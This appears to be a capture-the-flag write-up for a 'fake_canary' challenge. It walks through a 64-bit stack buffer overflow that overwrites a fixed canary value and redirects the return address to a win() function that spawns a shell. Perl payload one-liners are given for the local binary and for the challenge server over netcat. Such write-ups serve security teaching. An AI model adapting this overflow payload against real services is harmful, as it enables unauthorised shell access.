Reversing
---------
looking at the disassembly, it looks pretty similar to stackoverflow
there is a value put on the stack and later it checks that it is still there
we have the ability to smash the stack, but if we destroy that value, it will exit
because it's a fixed value, though, we can just overwrite it with the same value
so now that we can overwrite the stack, what can we do?
there is a win() function which does the same system call with /bin/sh as stackoverflow
so if we can get into that, we get a remote shell
The Attack
----------
because we can smash the stack, we can control where the function returns to
[current stack frame]
[saved rbp]
[saved rip]
[previous stack frame]
looking again at the disassembly, we are writing into $rbp-0x30, the "canary" of 0x00000000deadbeef is at $rbp-0x08, the saved rbp is at $rbp, and the saved rip is right after. we want to write the location of win() into the saved rip and the same canary value into where it's already at.
keep in mind it's a 64bit executable, so the addresses are 8 bytes. This means the saved rbp and saved rip are both 8 bytes. The canary also happens to be 8 bytes (it was probably just implemented with an int).
perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00";' | ./fake_canary
Cat Tricks
----------
and, of course, this doesn't work for the same reason as stackoverflow. It is getting past the canary, setting up rip to get into win(), and getting to the shell, but because stdin immediately closes at the end of the payload, the shell just closes
we can use the cat trick from before to get around that
cat <(perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00";') - | ./fake_canary
and, of course, this doesn't quite work either, and will instead just sit at the prompt. gets isn't getting an eof anymore and isn't returning, so we need to put a newline in for gets to return
our final working payload
cat <(perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00\n";') - | ./fake_canary
and this works against netcat as well
cat <(perl -e 'print "AAAA"x10 ."\xef\xbe\xad\xde" ."\x00"x4 ."\x40\x07\x40\x00\x00\x00\x00\x00" ."\x29\x07\x40\x00\x00\x00\x00\x00\n";') - | nc chal.imaginaryctf.org 42002
from here we can ls to find flag.txt and cat flag.txt
